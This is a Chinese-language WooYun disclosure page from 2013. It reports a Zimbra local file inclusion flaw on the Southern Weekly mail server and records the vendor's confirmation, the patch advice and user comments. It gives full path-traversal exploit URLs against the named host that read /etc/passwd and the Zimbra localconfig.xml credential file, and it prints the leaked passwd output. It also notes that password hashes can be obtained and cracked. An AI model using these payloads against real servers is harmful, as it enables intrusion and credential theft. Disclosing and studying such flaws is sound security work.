当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045426

漏洞标题：南方周末邮件服务器任意文件读取漏洞

相关厂商：南方周末

漏洞作者： 猪猪侠

提交时间：2013-12-11 14:52

修复时间：2014-01-25 14:53

公开时间：2014-01-25 14:53

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-11： 细节已通知厂商并且等待厂商处理中
2013-12-11： 厂商已经确认，细节仅向厂商公开
2013-12-21： 细节向核心白帽子及相关领域专家公开
2013-12-31： 细节向普通白帽子公开
2014-01-10： 细节向实习白帽子公开
2014-01-25： 细节向公众公开

简要描述：

2013年12月6日，exploit-db披露了一个Zimbra邮件服务端的本地文件包含漏洞，可读取邮件服务器上的任意文件，通过获取到的LDAP信息，即可得到所有用户的密码HASH散列。
用户密码采用OpenLADP SHA算法，通过GPU运算即可暴力破解，该漏洞将为企业或机构带来非常严重的数据泄露风险。
攻击者还可以通过邮箱内的信息收集保护不足的数据，利用收集到的信息对系统实施进一步的攻击。
Zimbra - 0day exploit / Privilegie escalation via LFI
http://www.exploit-db.com/exploits/30085/

详细说明：

#1 漏洞信息

Zimbra - 0day exploit / Privilegie escalation via LFI
http://www.exploit-db.com/exploits/30085/


#2 利用地址

http://mail.infzm.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00


#3 获取Zimbra邮件服务器核心配置文件内容

http://mail.infzm.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

漏洞证明：

#3 漏洞证明

root:0:0:root:/root:/bin/bash
bin:1:1:bin:/bin:/sbin/nologin
daemon:2:2:daemon:/sbin:/sbin/nologin
adm:3:4:adm:/var/adm:/sbin/nologin
lp:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:5:0:sync:/sbin:/bin/sync
shutdown:6:0:shutdown:/sbin:/sbin/shutdown
halt:7:0:halt:/sbin:/sbin/halt
mail:8:12:mail:/var/spool/mail:/sbin/nologin
news:9:13:news:/etc/news:
uucp:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:11:0:operator:/root:/sbin/nologin
games:12:100:games:/usr/games:/sbin/nologin
gopher:13:30:gopher:/var/gopher:/sbin/nologin
ftp:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:99:99:Nobody:/:/sbin/nologin
dbus:81:81:System message bus:/:/sbin/nologin
vcsa:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:68:68:HAL daemon:/:/sbin/nologin
netdump:34:34:Network Crash Dump user:/var/crash:/bin/bash
ident:98:98::/home/ident:/sbin/nologin
nscd:28:28:NSCD Daemon:/:/sbin/nologin
sshd:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:77:77::/var/arpwatch:/sbin/nologin
apache:48:48:Apache:/var/www:/sbin/nologin
squid:23:23::/var/spool/squid:/sbin/nologin
webalizer:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:38:38::/etc/ntp:/sbin/nologin
gdm:42:42::/var/gdm:/sbin/nologin
pegasus:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
htt:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
named:25:25:Named:/var/named:/sbin/nologin
pvm:24:24::/usr/share/pvm3:/bin/bash
canna:39:39:Canna Service User:/var/lib/canna:/sbin/nologin
wnn:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin
quagga:92:92:Quagga routing suite:/var/run/quagga:/sbin/nologin
cyrus:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash
exim:93:93::/var/spool/exim:/sbin/nologin
postfix:89:89::/var/spool/postfix:/sbin/nologin
amanda:33:6:Amanda user:/var/lib/amanda:/bin/bash
radiusd:95:95:radiusd user:/:/bin/false
ldap:55:55:LDAP User:/var/lib/ldap:/bin/false
radvd:75:75:radvd user:/:/sbin/nologin
postgres:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
fax:78:78:mgetty fax spool user:/var/spool/fax:/sbin/nologin
zimbra:500:500::/opt/zimbra:/bin/bash
mysql:2000:2000::/home/mysql:/bin/bash
wwwroot:3000:3000::/home/wwwroot:/bin/bash
a["infzm.com"]:3001:3001::/home/infzm.com:/bin/bash
mailman:3002:3002:GNU Mailman:/usr/local/mailman:/bin/bash

修复方案：

#更新Zimbra服务端最新补丁

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-12-11 17:06

厂商回复：

感谢白帽子的辛勤劳动，正在处理这个升级

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-09 20:47 | 天朝城管 ( 普通白帽子 | Rank:116 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    围观

  2. 2013-12-09 20:48 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    围观 Too

  3. 2013-12-09 21:19 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    碉堡。。。。

  4. 2013-12-09 21:51 | jaojan ( 路人 | Rank:21 漏洞数:10 | xss my life)

    黑哥真勤劳

  5. 2013-12-10 14:52 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    速速了解一下

  6. 2013-12-17 17:13 | mat.lee ( 路人 | Rank:0 漏洞数:1 | Let's xss!)

    文中提到“通过获取到的LDAP信息，即可得到所有用户的密码HASH散列。”求指点。